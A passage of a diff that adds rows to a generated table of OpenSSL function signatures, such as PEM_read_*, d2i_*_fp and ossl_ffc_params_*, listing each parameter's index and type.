+| (EVP_PKEY_METHOD *,..(*)(..),..(*)(..)) | | EVP_PKEY_meth_set_sign | 0 | EVP_PKEY_METHOD * | +| (EVP_PKEY_METHOD *,..(*)(..),..(*)(..)) | | EVP_PKEY_meth_set_sign | 1 | ..(*)(..) | +| (EVP_PKEY_METHOD *,..(*)(..),..(*)(..)) | | EVP_PKEY_meth_set_sign | 2 | ..(*)(..) | +| (EVP_PKEY_METHOD *,..(*)(..),..(*)(..)) | | EVP_PKEY_meth_set_signctx | 0 | EVP_PKEY_METHOD * | +| (EVP_PKEY_METHOD *,..(*)(..),..(*)(..)) | | EVP_PKEY_meth_set_signctx | 1 | ..(*)(..) | +| (EVP_PKEY_METHOD *,..(*)(..),..(*)(..)) | | EVP_PKEY_meth_set_signctx | 2 | ..(*)(..) | +| (EVP_PKEY_METHOD *,..(*)(..),..(*)(..)) | | EVP_PKEY_meth_set_verify | 0 | EVP_PKEY_METHOD * | +| (EVP_PKEY_METHOD *,..(*)(..),..(*)(..)) | | EVP_PKEY_meth_set_verify | 1 | ..(*)(..) | +| (EVP_PKEY_METHOD *,..(*)(..),..(*)(..)) | | EVP_PKEY_meth_set_verify | 2 | ..(*)(..) | +| (EVP_PKEY_METHOD *,..(*)(..),..(*)(..)) | | EVP_PKEY_meth_set_verify_recover | 0 | EVP_PKEY_METHOD * | +| (EVP_PKEY_METHOD *,..(*)(..),..(*)(..)) | | EVP_PKEY_meth_set_verify_recover | 1 | ..(*)(..) | +| (EVP_PKEY_METHOD *,..(*)(..),..(*)(..)) | | EVP_PKEY_meth_set_verify_recover | 2 | ..(*)(..) | +| (EVP_PKEY_METHOD *,..(*)(..),..(*)(..)) | | EVP_PKEY_meth_set_verifyctx | 0 | EVP_PKEY_METHOD * | +| (EVP_PKEY_METHOD *,..(*)(..),..(*)(..)) | | EVP_PKEY_meth_set_verifyctx | 1 | ..(*)(..) | +| (EVP_PKEY_METHOD *,..(*)(..),..(*)(..)) | | EVP_PKEY_meth_set_verifyctx | 2 | ..(*)(..) | +| (EVP_PKEY_METHOD *,const EVP_PKEY_METHOD *) | | EVP_PKEY_meth_copy | 0 | EVP_PKEY_METHOD * | +| (EVP_PKEY_METHOD *,const EVP_PKEY_METHOD *) | | EVP_PKEY_meth_copy | 1 | const EVP_PKEY_METHOD * | +| (EVP_RAND *,EVP_RAND_CTX *) | | EVP_RAND_CTX_new | 0 | EVP_RAND * | +| (EVP_RAND *,EVP_RAND_CTX *) | | EVP_RAND_CTX_new | 1 | EVP_RAND_CTX * | +| (EVP_RAND_CTX *) | | EVP_RAND_CTX_get0_rand | 0 | EVP_RAND_CTX * | +| (EVP_RAND_CTX *) | | evp_rand_can_seed | 0 | EVP_RAND_CTX * | +| (EVP_RAND_CTX *,unsigned char *,size_t) | | EVP_RAND_nonce | 0 | EVP_RAND_CTX * | +| (EVP_RAND_CTX *,unsigned char *,size_t) | | EVP_RAND_nonce | 1 | unsigned char * | +| (EVP_RAND_CTX *,unsigned char *,size_t) | | EVP_RAND_nonce | 2 | size_t | +| (EVP_RAND_CTX *,unsigned char *,size_t,unsigned int,int,const unsigned char *,size_t) | | EVP_RAND_generate | 0 | EVP_RAND_CTX * | +| (EVP_RAND_CTX *,unsigned char *,size_t,unsigned int,int,const unsigned char *,size_t) | | EVP_RAND_generate | 1 | unsigned char * | +| (EVP_RAND_CTX *,unsigned char *,size_t,unsigned int,int,const unsigned char *,size_t) | | EVP_RAND_generate | 2 | size_t | +| (EVP_RAND_CTX *,unsigned char *,size_t,unsigned int,int,const unsigned char *,size_t) | | EVP_RAND_generate | 3 | unsigned int | +| (EVP_RAND_CTX *,unsigned char *,size_t,unsigned int,int,const unsigned char *,size_t) | | EVP_RAND_generate | 4 | int | +| (EVP_RAND_CTX *,unsigned char *,size_t,unsigned int,int,const unsigned char *,size_t) | | EVP_RAND_generate | 5 | const unsigned char * | +| (EVP_RAND_CTX *,unsigned char *,size_t,unsigned int,int,const unsigned char *,size_t) | | EVP_RAND_generate | 6 | size_t | +| (EVP_SKEY *,OSSL_LIB_CTX *,OSSL_PROVIDER *,const char *) | | EVP_SKEY_to_provider | 0 | EVP_SKEY * | +| (EVP_SKEY *,OSSL_LIB_CTX *,OSSL_PROVIDER *,const char *) | | EVP_SKEY_to_provider | 1 | OSSL_LIB_CTX * | +| (EVP_SKEY *,OSSL_LIB_CTX *,OSSL_PROVIDER *,const char *) | | EVP_SKEY_to_provider | 2 | OSSL_PROVIDER * | +| (EVP_SKEY *,OSSL_LIB_CTX *,OSSL_PROVIDER *,const char *) | | EVP_SKEY_to_provider | 3 | const char * | +| (EXTENDED_KEY_USAGE *) | | EXTENDED_KEY_USAGE_free | 0 | EXTENDED_KEY_USAGE * | +| (EXTENDED_KEY_USAGE **,const unsigned char **,long) | | d2i_EXTENDED_KEY_USAGE | 0 | EXTENDED_KEY_USAGE ** | +| (EXTENDED_KEY_USAGE **,const unsigned char **,long) | | d2i_EXTENDED_KEY_USAGE | 1 | const unsigned char ** | +| (EXTENDED_KEY_USAGE **,const unsigned char **,long) | | d2i_EXTENDED_KEY_USAGE | 2 | long | +| (FFC_PARAMS *,BIGNUM *) | | ossl_ffc_params_set0_j | 0 | FFC_PARAMS * | +| (FFC_PARAMS *,BIGNUM *) | | ossl_ffc_params_set0_j | 1 | BIGNUM * | +| (FFC_PARAMS *,BIGNUM *,BIGNUM *,BIGNUM *) | | ossl_ffc_params_set0_pqg | 0 | FFC_PARAMS * | +| (FFC_PARAMS *,BIGNUM *,BIGNUM *,BIGNUM *) | | ossl_ffc_params_set0_pqg | 1 | BIGNUM * | +| (FFC_PARAMS *,BIGNUM *,BIGNUM *,BIGNUM *) | | ossl_ffc_params_set0_pqg | 2 | BIGNUM * | +| (FFC_PARAMS *,BIGNUM *,BIGNUM *,BIGNUM *) | | ossl_ffc_params_set0_pqg | 3 | BIGNUM * | +| (FFC_PARAMS *,const DH_NAMED_GROUP *) | | ossl_ffc_named_group_set | 0 | FFC_PARAMS * | +| (FFC_PARAMS *,const DH_NAMED_GROUP *) | | ossl_ffc_named_group_set | 1 | const DH_NAMED_GROUP * | +| (FFC_PARAMS *,const FFC_PARAMS *) | | ossl_ffc_params_copy | 0 | FFC_PARAMS * | +| (FFC_PARAMS *,const FFC_PARAMS *) | | ossl_ffc_params_copy | 1 | const FFC_PARAMS * | +| (FFC_PARAMS *,const OSSL_PARAM[]) | | ossl_ffc_params_fromdata | 0 | FFC_PARAMS * | +| (FFC_PARAMS *,const OSSL_PARAM[]) | | ossl_ffc_params_fromdata | 1 | const OSSL_PARAM[] | +| (FFC_PARAMS *,const char *,const char *) | | ossl_ffc_set_digest | 0 | FFC_PARAMS * | +| (FFC_PARAMS *,const char *,const char *) | | ossl_ffc_set_digest | 1 | const char * | +| (FFC_PARAMS *,const char *,const char *) | | ossl_ffc_set_digest | 2 | const char * | +| (FFC_PARAMS *,const unsigned char *,size_t) | | ossl_ffc_params_set_seed | 0 | FFC_PARAMS * | +| (FFC_PARAMS *,const unsigned char *,size_t) | | ossl_ffc_params_set_seed | 1 | const unsigned char * | +| (FFC_PARAMS *,const unsigned char *,size_t) | | ossl_ffc_params_set_seed | 2 | size_t | +| (FFC_PARAMS *,const unsigned char *,size_t,int) | | ossl_ffc_params_set_validate_params | 0 | FFC_PARAMS * | +| (FFC_PARAMS *,const unsigned char *,size_t,int) | | ossl_ffc_params_set_validate_params | 1 | const unsigned char * | +| (FFC_PARAMS *,const unsigned char *,size_t,int) | | ossl_ffc_params_set_validate_params | 2 | size_t | +| (FFC_PARAMS *,const unsigned char *,size_t,int) | | ossl_ffc_params_set_validate_params | 3 | int | +| (FFC_PARAMS *,int) | | ossl_ffc_params_set_gindex | 0 | FFC_PARAMS * | +| (FFC_PARAMS *,int) | | ossl_ffc_params_set_gindex | 1 | int | +| (FFC_PARAMS *,int) | | ossl_ffc_params_set_h | 0 | FFC_PARAMS * | +| (FFC_PARAMS *,int) | | ossl_ffc_params_set_h | 1 | int | +| (FFC_PARAMS *,int) | | ossl_ffc_params_set_pcounter | 0 | FFC_PARAMS * | +| (FFC_PARAMS *,int) | | ossl_ffc_params_set_pcounter | 1 | int | +| (FFC_PARAMS *,unsigned int) | | ossl_ffc_params_set_flags | 0 | FFC_PARAMS * | +| (FFC_PARAMS *,unsigned int) | | ossl_ffc_params_set_flags | 1 | unsigned int | +| (FFC_PARAMS *,unsigned int,int) | | ossl_ffc_params_enable_flags | 0 | FFC_PARAMS * | +| (FFC_PARAMS *,unsigned int,int) | | ossl_ffc_params_enable_flags | 1 | unsigned int | +| (FFC_PARAMS *,unsigned int,int) | | ossl_ffc_params_enable_flags | 2 | int | +| (FILE *,CMS_ContentInfo **,pem_password_cb *,void *) | | PEM_read_CMS | 0 | FILE * | +| (FILE *,CMS_ContentInfo **,pem_password_cb *,void *) | | PEM_read_CMS | 1 | CMS_ContentInfo ** | +| (FILE *,CMS_ContentInfo **,pem_password_cb *,void *) | | PEM_read_CMS | 2 | pem_password_cb * | +| (FILE *,CMS_ContentInfo **,pem_password_cb *,void *) | | PEM_read_CMS | 3 | void * | +| (FILE *,DH **,pem_password_cb *,void *) | | PEM_read_DHparams | 0 | FILE * | +| (FILE *,DH **,pem_password_cb *,void *) | | PEM_read_DHparams | 1 | DH ** | +| (FILE *,DH **,pem_password_cb *,void *) | | PEM_read_DHparams | 2 | pem_password_cb * | +| (FILE *,DH **,pem_password_cb *,void *) | | PEM_read_DHparams | 3 | void * | +| (FILE *,DSA **) | | d2i_DSAPrivateKey_fp | 0 | FILE * | +| (FILE *,DSA **) | | d2i_DSAPrivateKey_fp | 1 | DSA ** | +| (FILE *,DSA **) | | d2i_DSA_PUBKEY_fp | 0 | FILE * | +| (FILE *,DSA **) | | d2i_DSA_PUBKEY_fp | 1 | DSA ** | +| (FILE *,DSA **,pem_password_cb *,void *) | | PEM_read_DSAPrivateKey | 0 | FILE * | +| (FILE *,DSA **,pem_password_cb *,void *) | | PEM_read_DSAPrivateKey | 1 | DSA ** | +| (FILE *,DSA **,pem_password_cb *,void *) | | PEM_read_DSAPrivateKey | 2 | pem_password_cb * | +| (FILE *,DSA **,pem_password_cb *,void *) | | PEM_read_DSAPrivateKey | 3 | void * | +| (FILE *,DSA **,pem_password_cb *,void *) | | PEM_read_DSA_PUBKEY | 0 | FILE * | +| (FILE *,DSA **,pem_password_cb *,void *) | | PEM_read_DSA_PUBKEY | 1 | DSA ** | +| (FILE *,DSA **,pem_password_cb *,void *) | | PEM_read_DSA_PUBKEY | 2 | pem_password_cb * | +| (FILE *,DSA **,pem_password_cb *,void *) | | PEM_read_DSA_PUBKEY | 3 | void * | +| (FILE *,DSA **,pem_password_cb *,void *) | | PEM_read_DSAparams | 0 | FILE * | +| (FILE *,DSA **,pem_password_cb *,void *) | | PEM_read_DSAparams | 1 | DSA ** | +| (FILE *,DSA **,pem_password_cb *,void *) | | PEM_read_DSAparams | 2 | pem_password_cb * | +| (FILE *,DSA **,pem_password_cb *,void *) | | PEM_read_DSAparams | 3 | void * | +| (FILE *,EC_GROUP **,pem_password_cb *,void *) | | PEM_read_ECPKParameters | 0 | FILE * | +| (FILE *,EC_GROUP **,pem_password_cb *,void *) | | PEM_read_ECPKParameters | 1 | EC_GROUP ** | +| (FILE *,EC_GROUP **,pem_password_cb *,void *) | | PEM_read_ECPKParameters | 2 | pem_password_cb * | +| (FILE *,EC_GROUP **,pem_password_cb *,void *) | | PEM_read_ECPKParameters | 3 | void * | +| (FILE *,EC_KEY **) | | d2i_ECPrivateKey_fp | 0 | FILE * | +| (FILE *,EC_KEY **) | | d2i_ECPrivateKey_fp | 1 | EC_KEY ** | +| (FILE *,EC_KEY **) | | d2i_EC_PUBKEY_fp | 0 | FILE * | +| (FILE *,EC_KEY **) | | d2i_EC_PUBKEY_fp | 1 | EC_KEY ** | +| (FILE *,EC_KEY **,pem_password_cb *,void *) | | PEM_read_ECPrivateKey | 0 | FILE * | +| (FILE *,EC_KEY **,pem_password_cb *,void *) | | PEM_read_ECPrivateKey | 1 | EC_KEY ** | +| (FILE *,EC_KEY **,pem_password_cb *,void *) | | PEM_read_ECPrivateKey | 2 | pem_password_cb * | +| (FILE *,EC_KEY **,pem_password_cb *,void *) | | PEM_read_ECPrivateKey | 3 | void * | +| (FILE *,EC_KEY **,pem_password_cb *,void *) | | PEM_read_EC_PUBKEY | 0 | FILE * | +| (FILE *,EC_KEY **,pem_password_cb *,void *) | | PEM_read_EC_PUBKEY | 1 | EC_KEY ** | +| (FILE *,EC_KEY **,pem_password_cb *,void *) | | PEM_read_EC_PUBKEY | 2 | pem_password_cb * | +| (FILE *,EC_KEY **,pem_password_cb *,void *) | | PEM_read_EC_PUBKEY | 3 | void * | +| (FILE *,EVP_PKEY **) | | d2i_PUBKEY_fp | 0 | FILE * | +| (FILE *,EVP_PKEY **) | | d2i_PUBKEY_fp | 1 | EVP_PKEY ** | +| (FILE *,EVP_PKEY **) | | d2i_PrivateKey_fp | 0 | FILE * | +| (FILE *,EVP_PKEY **) | | d2i_PrivateKey_fp | 1 | EVP_PKEY ** | +| (FILE *,EVP_PKEY **,OSSL_LIB_CTX *,const char *) | | d2i_PUBKEY_ex_fp | 0 | FILE * | +| (FILE *,EVP_PKEY **,OSSL_LIB_CTX *,const char *) | | d2i_PUBKEY_ex_fp | 1 | EVP_PKEY ** | +| (FILE *,EVP_PKEY **,OSSL_LIB_CTX *,const char *) | | d2i_PUBKEY_ex_fp | 2 | OSSL_LIB_CTX * | +| (FILE *,EVP_PKEY **,OSSL_LIB_CTX *,const char *) | | d2i_PUBKEY_ex_fp | 3 | const char * | +| (FILE *,EVP_PKEY **,OSSL_LIB_CTX *,const char *) | | d2i_PrivateKey_ex_fp | 0 | FILE * | +| (FILE *,EVP_PKEY **,OSSL_LIB_CTX *,const char *) | | d2i_PrivateKey_ex_fp | 1 | EVP_PKEY ** | +| (FILE *,EVP_PKEY **,OSSL_LIB_CTX *,const char *) | | d2i_PrivateKey_ex_fp | 2 | OSSL_LIB_CTX * | +| (FILE *,EVP_PKEY **,OSSL_LIB_CTX *,const char *) | | d2i_PrivateKey_ex_fp | 3 | const char * | +| (FILE *,EVP_PKEY **,pem_password_cb *,void *) | | PEM_read_PUBKEY | 0 | FILE * | +| (FILE *,EVP_PKEY **,pem_password_cb *,void *) | | PEM_read_PUBKEY | 1 | EVP_PKEY ** | +| (FILE *,EVP_PKEY **,pem_password_cb *,void *) | | PEM_read_PUBKEY | 2 | pem_password_cb * | +| (FILE *,EVP_PKEY **,pem_password_cb *,void *) | | PEM_read_PUBKEY | 3 | void * | +| (FILE *,EVP_PKEY **,pem_password_cb *,void *) | | PEM_read_PrivateKey | 0 | FILE * | +| (FILE *,EVP_PKEY **,pem_password_cb *,void *) | | PEM_read_PrivateKey | 1 | EVP_PKEY ** | +| (FILE *,EVP_PKEY **,pem_password_cb *,void *) | | PEM_read_PrivateKey | 2 | pem_password_cb * | +| (FILE *,EVP_PKEY **,pem_password_cb *,void *) | | PEM_read_PrivateKey | 3 | void * | +| (FILE *,EVP_PKEY **,pem_password_cb *,void *) | | d2i_PKCS8PrivateKey_fp | 0 | FILE * | +| (FILE *,EVP_PKEY **,pem_password_cb *,void *) | | d2i_PKCS8PrivateKey_fp | 1 | EVP_PKEY ** | +| (FILE *,EVP_PKEY **,pem_password_cb *,void *) | | d2i_PKCS8PrivateKey_fp | 2 | pem_password_cb * | +| (FILE *,EVP_PKEY **,pem_password_cb *,void *) | | d2i_PKCS8PrivateKey_fp | 3 | void * | +| (FILE *,EVP_PKEY **,pem_password_cb *,void *,OSSL_LIB_CTX *,const char *) | | PEM_read_PUBKEY_ex | 0 | FILE * | +| (FILE *,EVP_PKEY **,pem_password_cb *,void *,OSSL_LIB_CTX *,const char *) | | PEM_read_PUBKEY_ex | 1 | EVP_PKEY ** | +| (FILE *,EVP_PKEY **,pem_password_cb *,void *,OSSL_LIB_CTX *,const char *) | | PEM_read_PUBKEY_ex | 2 | pem_password_cb * | +| (FILE *,EVP_PKEY **,pem_password_cb *,void *,OSSL_LIB_CTX *,const char *) | | PEM_read_PUBKEY_ex | 3 | void * | +| (FILE *,EVP_PKEY **,pem_password_cb *,void *,OSSL_LIB_CTX *,const char *) | | PEM_read_PUBKEY_ex | 4 | OSSL_LIB_CTX * | +| (FILE *,EVP_PKEY **,pem_password_cb *,void *,OSSL_LIB_CTX *,const char *) | | PEM_read_PUBKEY_ex | 5 | const char * | +| (FILE *,EVP_PKEY **,pem_password_cb *,void *,OSSL_LIB_CTX *,const char *) | | PEM_read_PrivateKey_ex | 0 | FILE * | +| (FILE *,EVP_PKEY **,pem_password_cb *,void *,OSSL_LIB_CTX *,const char *) | | PEM_read_PrivateKey_ex | 1 | EVP_PKEY ** | +| (FILE *,EVP_PKEY **,pem_password_cb *,void *,OSSL_LIB_CTX *,const char *) | | PEM_read_PrivateKey_ex | 2 | pem_password_cb * | +| (FILE *,EVP_PKEY **,pem_password_cb *,void *,OSSL_LIB_CTX *,const char *) | | PEM_read_PrivateKey_ex | 3 | void * | +| (FILE *,EVP_PKEY **,pem_password_cb *,void *,OSSL_LIB_CTX *,const char *) | | PEM_read_PrivateKey_ex | 4 | OSSL_LIB_CTX * | +| (FILE *,EVP_PKEY **,pem_password_cb *,void *,OSSL_LIB_CTX *,const char *) | | PEM_read_PrivateKey_ex | 5 | const char * | +| (FILE *,NETSCAPE_CERT_SEQUENCE **,pem_password_cb *,void *) | | PEM_read_NETSCAPE_CERT_SEQUENCE | 0 | FILE * | +| (FILE *,NETSCAPE_CERT_SEQUENCE **,pem_password_cb *,void *) | | PEM_read_NETSCAPE_CERT_SEQUENCE | 1 | NETSCAPE_CERT_SEQUENCE ** | +| (FILE *,NETSCAPE_CERT_SEQUENCE **,pem_password_cb *,void *) | | PEM_read_NETSCAPE_CERT_SEQUENCE | 2 | pem_password_cb * | +| (FILE *,NETSCAPE_CERT_SEQUENCE **,pem_password_cb *,void *) | | PEM_read_NETSCAPE_CERT_SEQUENCE | 3 | void * | +| (FILE *,PKCS7 **) | | d2i_PKCS7_fp | 0 | FILE * | +| (FILE *,PKCS7 **) | | d2i_PKCS7_fp | 1 | PKCS7 ** | +| (FILE *,PKCS7 **,pem_password_cb *,void *) | | PEM_read_PKCS7 | 0 | FILE * | +| (FILE *,PKCS7 **,pem_password_cb *,void *) | | PEM_read_PKCS7 | 1 | PKCS7 ** | +| (FILE *,PKCS7 **,pem_password_cb *,void *) | | PEM_read_PKCS7 | 2 | pem_password_cb * | +| (FILE *,PKCS7 **,pem_password_cb *,void *) | | PEM_read_PKCS7 | 3 | void * | +| (FILE *,PKCS8_PRIV_KEY_INFO **) | | d2i_PKCS8_PRIV_KEY_INFO_fp | 0 | FILE * | +| (FILE *,PKCS8_PRIV_KEY_INFO **) | | d2i_PKCS8_PRIV_KEY_INFO_fp | 1 | PKCS8_PRIV_KEY_INFO ** | +| (FILE *,PKCS8_PRIV_KEY_INFO **,pem_password_cb *,void *) | | PEM_read_PKCS8_PRIV_KEY_INFO | 0 | FILE * | +| (FILE *,PKCS8_PRIV_KEY_INFO **,pem_password_cb *,void *) | | PEM_read_PKCS8_PRIV_KEY_INFO | 1 | PKCS8_PRIV_KEY_INFO ** | +| (FILE *,PKCS8_PRIV_KEY_INFO **,pem_password_cb *,void *) | | PEM_read_PKCS8_PRIV_KEY_INFO | 2 | pem_password_cb * | +| (FILE *,PKCS8_PRIV_KEY_INFO **,pem_password_cb *,void *) | | PEM_read_PKCS8_PRIV_KEY_INFO | 3 | void * | +| (FILE *,PKCS12 **) | | d2i_PKCS12_fp | 0 | FILE * | +| (FILE *,PKCS12 **) | | d2i_PKCS12_fp | 1 | PKCS12 ** | +| (FILE *,RSA **) | | d2i_RSAPrivateKey_fp | 0 | FILE * | +| (FILE *,RSA **) | | d2i_RSAPrivateKey_fp | 1 | RSA ** | +| (FILE *,RSA **) | | d2i_RSAPublicKey_fp | 0 | FILE * | +| (FILE *,RSA **) | | d2i_RSAPublicKey_fp | 1 | RSA ** | +| (FILE *,RSA **) | | d2i_RSA_PUBKEY_fp | 0 | FILE * | +| (FILE *,RSA **) | | d2i_RSA_PUBKEY_fp | 1 | RSA ** | +| (FILE *,RSA **,pem_password_cb *,void *) | | PEM_read_RSAPrivateKey | 0 | FILE * | +| (FILE *,RSA **,pem_password_cb *,void *) | | PEM_read_RSAPrivateKey | 1 | RSA ** | +| (FILE *,RSA **,pem_password_cb *,void *) | | PEM_read_RSAPrivateKey | 2 | pem_password_cb * | +| (FILE *,RSA **,pem_password_cb *,void *) | | PEM_read_RSAPrivateKey | 3 | void * | +| (FILE *,RSA **,pem_password_cb *,void *) | | PEM_read_RSAPublicKey | 0 | FILE * | +| (FILE *,RSA **,pem_password_cb *,void *) | | PEM_read_RSAPublicKey | 1 | RSA ** | +| (FILE *,RSA **,pem_password_cb *,void *) | | PEM_read_RSAPublicKey | 2 | pem_password_cb * | +| (FILE *,RSA **,pem_password_cb *,void *) | | PEM_read_RSAPublicKey | 3 | void * | +| (FILE *,RSA **,pem_password_cb *,void *) | | PEM_read_RSA_PUBKEY | 0 | FILE * | +| (FILE *,RSA **,pem_password_cb *,void *) | | PEM_read_RSA_PUBKEY | 1 | RSA ** | +| (FILE *,RSA **,pem_password_cb *,void *) | | PEM_read_RSA_PUBKEY | 2 | pem_password_cb * | +| (FILE *,RSA **,pem_password_cb *,void *) | | PEM_read_RSA_PUBKEY | 3 | void * | +| (FILE *,SSL_SESSION **,pem_password_cb *,void *) | | PEM_read_SSL_SESSION | 0 | FILE * | +| (FILE *,SSL_SESSION **,pem_password_cb *,void *) | | PEM_read_SSL_SESSION | 1 | SSL_SESSION ** | +| (FILE *,SSL_SESSION **,pem_password_cb *,void *) | | PEM_read_SSL_SESSION | 2 | pem_password_cb * | +| (FILE *,SSL_SESSION **,pem_password_cb *,void *) | | PEM_read_SSL_SESSION | 3 | void * | +| (FILE *,TS_MSG_IMPRINT **) | | d2i_TS_MSG_IMPRINT_fp | 0 | FILE * | +| (FILE *,TS_MSG_IMPRINT **) | | d2i_TS_MSG_IMPRINT_fp | 1 | TS_MSG_IMPRINT ** | +| (FILE *,TS_REQ **) | | d2i_TS_REQ_fp | 0 | FILE * | +| (FILE *,TS_REQ **) | | d2i_TS_REQ_fp | 1 | TS_REQ ** | +| (FILE *,TS_RESP **) | | d2i_TS_RESP_fp | 0 | FILE * | +| (FILE *,TS_RESP **) | | d2i_TS_RESP_fp | 1 | TS_RESP ** | +| (FILE *,TS_TST_INFO **) | | d2i_TS_TST_INFO_fp | 0 | FILE * | +| (FILE *,TS_TST_INFO **) | | d2i_TS_TST_INFO_fp | 1 | TS_TST_INFO ** | +| (FILE *,X509 **) | | d2i_X509_fp | 0 | FILE * | +| (FILE *,X509 **) | | d2i_X509_fp | 1 | X509 ** | +| (FILE *,X509 **,pem_password_cb *,void *) | | PEM_read_X509 | 0 | FILE * | +| (FILE *,X509 **,pem_password_cb *,void *) | | PEM_read_X509 | 1 | X509 ** | +| (FILE *,X509 **,pem_password_cb *,void *) | | PEM_read_X509 | 2 | pem_password_cb * | +| (FILE *,X509 **,pem_password_cb *,void *) | | PEM_read_X509 | 3 | void * | +| (FILE *,X509 **,pem_password_cb *,void *) | | PEM_read_X509_AUX | 0 | FILE * | +| (FILE *,X509 **,pem_password_cb *,void *) | | PEM_read_X509_AUX | 1 | X509 ** | +| (FILE *,X509 **,pem_password_cb *,void *) | | PEM_read_X509_AUX | 2 | pem_password_cb * | +| (FILE *,X509 **,pem_password_cb *,void *) | | PEM_read_X509_AUX | 3 | void * | +| (FILE *,X509_ACERT **) | | d2i_X509_ACERT_fp | 0 | FILE * | +| (FILE *,X509_ACERT **) | | d2i_X509_ACERT_fp | 1 | X509_ACERT ** | +| (FILE *,X509_ACERT **,pem_password_cb *,void *) | | PEM_read_X509_ACERT | 0 | FILE * | +| (FILE *,X509_ACERT **,pem_password_cb *,void *) | | PEM_read_X509_ACERT | 1 | X509_ACERT ** | +| (FILE *,X509_ACERT **,pem_password_cb *,void *) | | PEM_read_X509_ACERT | 2 | pem_password_cb * | +| (FILE *,X509_ACERT **,pem_password_cb *,void *) | | PEM_read_X509_ACERT | 3 | void * | +| (FILE *,X509_CRL **) | | d2i_X509_CRL_fp | 0 | FILE * | +| (FILE *,X509_CRL **) | | d2i_X509_CRL_fp | 1 | X509_CRL ** | +| (FILE *,X509_CRL **,pem_password_cb *,void *) | | PEM_read_X509_CRL | 0 | FILE * | +| (FILE *,X509_CRL **,pem_password_cb *,void *) | | PEM_read_X509_CRL | 1 | X509_CRL ** | +| (FILE *,X509_CRL **,pem_password_cb *,void *) | | PEM_read_X509_CRL | 2 | pem_password_cb * | +| (FILE *,X509_CRL **,pem_password_cb *,void *) | | PEM_read_X509_CRL | 3 | void * | +| (FILE *,X509_PUBKEY **) | | d2i_X509_PUBKEY_fp | 0 | FILE * | +| (FILE *,X509_PUBKEY **) | | d2i_X509_PUBKEY_fp | 1 | X509_PUBKEY ** | +| (FILE *,X509_PUBKEY **,pem_password_cb *,void *) | | PEM_read_X509_PUBKEY | 0 | FILE * | +| (FILE *,X509_PUBKEY **,pem_password_cb *,void *) | | PEM_read_X509_PUBKEY | 1 | X509_PUBKEY ** | +| (FILE *,X509_PUBKEY **,pem_password_cb *,void *) | | PEM_read_X509_PUBKEY | 2 | pem_password_cb * | +| (FILE *,X509_PUBKEY **,pem_password_cb *,void *) | | PEM_read_X509_PUBKEY | 3 | void * | +| (FILE *,X509_REQ **) | | d2i_X509_REQ_fp | 0 | FILE * | +| (FILE *,X509_REQ **) | | d2i_X509_REQ_fp | 1 | X509_REQ ** | +| (FILE *,X509_REQ **,pem_password_cb *,void *) | | PEM_read_X509_REQ | 0 | FILE * | +| (FILE *,X509_REQ **,pem_password_cb *,void *) | | PEM_read_X509_REQ | 1 | X509_REQ ** | +| (FILE *,X509_REQ **,pem_password_cb *,void *) | | PEM_read_X509_REQ | 2 | pem_password_cb * | +| (FILE *,X509_REQ **,pem_password_cb *,void *) | | PEM_read_X509_REQ | 3 | void * | +| (FILE *,X509_SIG **) | | d2i_PKCS8_fp | 0 | FILE * | +| (FILE *,X509_SIG **) | | d2i_PKCS8_fp | 1 | X509_SIG ** | +| (FILE *,X509_SIG **,pem_password_cb *,void *) | | PEM_read_PKCS8 | 0 | FILE * | +| (FILE *,X509_SIG **,pem_password_cb *,void *) | | PEM_read_PKCS8 | 1 | X509_SIG ** | +| (FILE *,X509_SIG **,pem_password_cb *,void *) | | PEM_read_PKCS8 | 2 | pem_password_cb * | +| (FILE *,X509_SIG **,pem_password_cb *,void *) | | PEM_read_PKCS8 | 3 | void * | +| (FILE *,char **,char **,unsigned char **,long *) | | PEM_read | 0 | FILE * | +| (FILE *,char **,char **,unsigned char **,long *) | | PEM_read | 1 | char ** | +| (FILE *,char **,char **,unsigned char **,long *) | | PEM_read | 2 | char ** | +| (FILE *,char **,char **,unsigned char **,long *) | | PEM_read | 3 | unsigned char ** | +| (FILE *,char **,char **,unsigned char **,long *) | | PEM_read | 4 | long * | +| (FILE *,const ASN1_STRING *,unsigned long) | | ASN1_STRING_print_ex_fp | 0 | FILE * | +| (FILE *,const ASN1_STRING *,unsigned long) | | ASN1_STRING_print_ex_fp | 1 | const ASN1_STRING * | +| (FILE *,const ASN1_STRING *,unsigned long) | | ASN1_STRING_print_ex_fp | 2 | unsigned long | +| (FILE *,const CMS_ContentInfo *) | | PEM_write_CMS | 0 | FILE * | +| (FILE *,const CMS_ContentInfo *) | | PEM_write_CMS | 1 | const CMS_ContentInfo * | +| (FILE *,const DH *) | | PEM_write_DHparams | 0 | FILE * | +| (FILE *,const DH *) | | PEM_write_DHparams | 1 | const DH * | +| (FILE *,const DH *) | | PEM_write_DHxparams | 0 | FILE * | +| (FILE *,const DH *) | | PEM_write_DHxparams | 1 | const DH * | +| (FILE *,const DSA *) | | DSAparams_print_fp | 0 | FILE * | +| (FILE *,const DSA *) | | DSAparams_print_fp | 1 | const DSA * | +| (FILE *,const DSA *) | | PEM_write_DSA_PUBKEY | 0 | FILE * | +| (FILE *,const DSA *) | | PEM_write_DSA_PUBKEY | 1 | const DSA * | +| (FILE *,const DSA *) | | PEM_write_DSAparams | 0 | FILE * | +| (FILE *,const DSA *) | | PEM_write_DSAparams | 1 | const DSA * | +| (FILE *,const DSA *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *) | | PEM_write_DSAPrivateKey | 0 | FILE * | +| (FILE *,const DSA *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *) | | PEM_write_DSAPrivateKey | 1 | const DSA * | +| (FILE *,const DSA *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *) | | PEM_write_DSAPrivateKey | 2 | const EVP_CIPHER * | +| (FILE *,const DSA *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *) | | PEM_write_DSAPrivateKey | 3 | const unsigned char * | +| (FILE *,const DSA *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *) | | PEM_write_DSAPrivateKey | 4 | int | +| (FILE *,const DSA *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *) | | PEM_write_DSAPrivateKey | 5 | pem_password_cb * | +| (FILE *,const DSA *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *) | | PEM_write_DSAPrivateKey | 6 | void * | +| (FILE *,const DSA *,int) | | DSA_print_fp | 0 | FILE * | +| (FILE *,const DSA *,int) | | DSA_print_fp | 1 | const DSA * | +| (FILE *,const DSA *,int) | | DSA_print_fp | 2 | int | +| (FILE *,const EC_GROUP *) | | PEM_write_ECPKParameters | 0 | FILE * | +| 